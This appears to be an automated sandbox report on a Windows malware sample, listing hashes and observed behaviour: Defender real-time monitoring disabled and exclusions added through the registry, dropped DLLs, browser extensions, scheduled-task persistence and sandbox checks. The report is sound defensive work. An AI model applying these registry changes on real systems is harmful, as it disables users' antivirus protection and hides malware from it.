Analysis
-
max time kernel
139s -
max time network
143s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
25-09-2022 07:15
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20220901-en
General
-
Target
file.exe
-
Size
7.2MB
-
MD5
95c3fb5bcf74c68651bddaa83bcfde37
-
SHA1
18cf9e68185512902cc617f28b43b4646f5b4aea
-
SHA256
a7000e44189c5994c592650c444920dc9b4f5a92c5d36d7c510e5ea209e968cc
-
SHA512
5d2bcb9f72314a7ecbc90efe1cd186f7375b5081401c884b1946e3f6debd12f418119140bf6063e44c5d5f5a719cccf20208e93bac42d78c1a90928bf1b38a71
-
SSDEEP
196608:91OCfNs6lLpYEBtHW0jmtoi/HpeomPBEQzLA/oJ+:3OCVHKM2Ltp/HePBEisQE
Malware Config
Signatures
-
Processes:
reg.exereg.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe -
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.execonhost.exereg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CXdyuXxQU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bOFQhydRtxUn = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CXdyuXxQU = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RIEoyfpemMjlUPVB = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YnFPtusxCOTU2 = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RIEoyfpemMjlUPVB = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths conhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0" conhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCSurMlfClMRC = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YnFPtusxCOTU2 = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bOFQhydRtxUn = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCSurMlfClMRC = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe -
Blocklisted process makes network request 6 IoCs
Processes:
rundll32.exeflow pid process 29 1412 rundll32.exe 30 1412 rundll32.exe 31 1412 rundll32.exe 32 1412 rundll32.exe 33 1412 rundll32.exe 35 1412 rundll32.exe -
Executes dropped EXE 4 IoCs
Processes:
Install.exeInstall.exezdwKMXh.exegRhHZwC.exepid process 1228 Install.exe 1736 Install.exe 1660 zdwKMXh.exe 1372 gRhHZwC.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Install.exerundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
gRhHZwC.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation gRhHZwC.exe -
Loads dropped DLL 12 IoCs
Processes:
file.exeInstall.exeInstall.exerundll32.exepid process 1204 file.exe 1228 Install.exe 1228 Install.exe 1228 Install.exe 1228 Install.exe 1736 Install.exe 1736 Install.exe 1736 Install.exe 1412 rundll32.exe 1412 rundll32.exe 1412 rundll32.exe 1412 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
Processes:
gRhHZwC.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json gRhHZwC.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json gRhHZwC.exe -
Drops file in System32 directory 23 IoCs
Processes:
gRhHZwC.exeInstall.exepowershell.EXEzdwKMXh.exepowershell.EXEpowershell.EXErundll32.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA gRhHZwC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA gRhHZwC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9 gRhHZwC.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol zdwKMXh.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04 gRhHZwC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1 gRhHZwC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3 gRhHZwC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3 gRhHZwC.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol zdwKMXh.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA gRhHZwC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA gRhHZwC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1 gRhHZwC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat rundll32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat gRhHZwC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9 gRhHZwC.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini zdwKMXh.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04 gRhHZwC.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol gRhHZwC.exe -
Drops file in Program Files directory 13 IoCs
Processes:
gRhHZwC.exedescription ioc process File created C:\Program Files (x86)\LCSurMlfClMRC\WQYHInn.dll gRhHZwC.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak gRhHZwC.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja gRhHZwC.exe File created C:\Program Files (x86)\YnFPtusxCOTU2\GkXvSaY.xml gRhHZwC.exe File created C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\XzNmYGc.xml gRhHZwC.exe File created C:\Program Files (x86)\YnFPtusxCOTU2\JdwxLqESSLdFL.dll gRhHZwC.exe File created C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\IbRGtAV.dll gRhHZwC.exe File created C:\Program Files (x86)\LCSurMlfClMRC\NCWddlM.xml gRhHZwC.exe File created C:\Program Files (x86)\bOFQhydRtxUn\OanevZb.dll gRhHZwC.exe File created C:\Program Files (x86)\CXdyuXxQU\dxqSLF.dll gRhHZwC.exe File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi gRhHZwC.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi gRhHZwC.exe File created C:\Program Files (x86)\CXdyuXxQU\nPAnizY.xml gRhHZwC.exe -
Drops file in Windows directory 4 IoCs
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exedescription ioc process File created C:\Windows\Tasks\beNJzxXkYGhzSCmkZn.job schtasks.exe File created C:\Windows\Tasks\GrrjjXtPjBVPFNmZQ.job schtasks.exe File created C:\Windows\Tasks\ErhcMqZyPKQzNnH.job schtasks.exe File created C:\Windows\Tasks\NSdDFfEujjmGqHjBl.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 13 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 2008 schtasks.exe 1520 schtasks.exe 640 schtasks.exe 580 schtasks.exe 1752 schtasks.exe 340 schtasks.exe 1832 schtasks.exe 1532 schtasks.exe 1852 schtasks.exe 1284 schtasks.exe 1648 schtasks.exe 1716 schtasks.exe 1944 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
Processes:
Install.exerundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
gRhHZwC.exerundll32.exewscript.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs gRhHZwC.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" wscript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{8D154EF9-F13D-4204-80A0-811DE0C47834}\8e-d1-f6-53-72-5c gRhHZwC.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\8e-d1-f6-53-72-5c\WpadDecisionTime = e07d10d8aed0d801 gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\8e-d1-f6-53-72-5c rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\8e-d1-f6-53-72-5c\WpadDecisionTime = e07d10d8aed0d801 rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\8e-d1-f6-53-72-5c gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft wscript.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{8D154EF9-F13D-4204-80A0-811DE0C47834}\WpadDecisionTime = e07d10d8aed0d801 gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates gRhHZwC.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\8e-d1-f6-53-72-5c\WpadDecision = "0" rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" wscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs gRhHZwC.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\8e-d1-f6-53-72-5c\WpadDecisionReason = "1" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ wscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" gRhHZwC.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\8e-d1-f6-53-72-5c\WpadDecision = "0" gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs gRhHZwC.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\Software wscript.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 gRhHZwC.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" gRhHZwC.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{8D154EF9-F13D-4204-80A0-811DE0C47834}\8e-d1-f6-53-72-5c rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings gRhHZwC.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{8D154EF9-F13D-4204-80A0-811DE0C47834}\WpadDecision = "0" gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs gRhHZwC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates gRhHZwC.exe -
Processes:
gRhHZwC.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 gRhHZwC.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde gRhHZwC.exe -
Suspicious behavior: EnumeratesProcesses 28 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXEgRhHZwC.exepid process 876 powershell.EXE 876 powershell.EXE 876 powershell.EXE 980 powershell.EXE 980 powershell.EXE 980 powershell.EXE 1652 powershell.EXE 1652 powershell.EXE 1652 powershell.EXE 2008 powershell.EXE 2008 powershell.EXE 2008 powershell.EXE 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe 1372 gRhHZwC.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
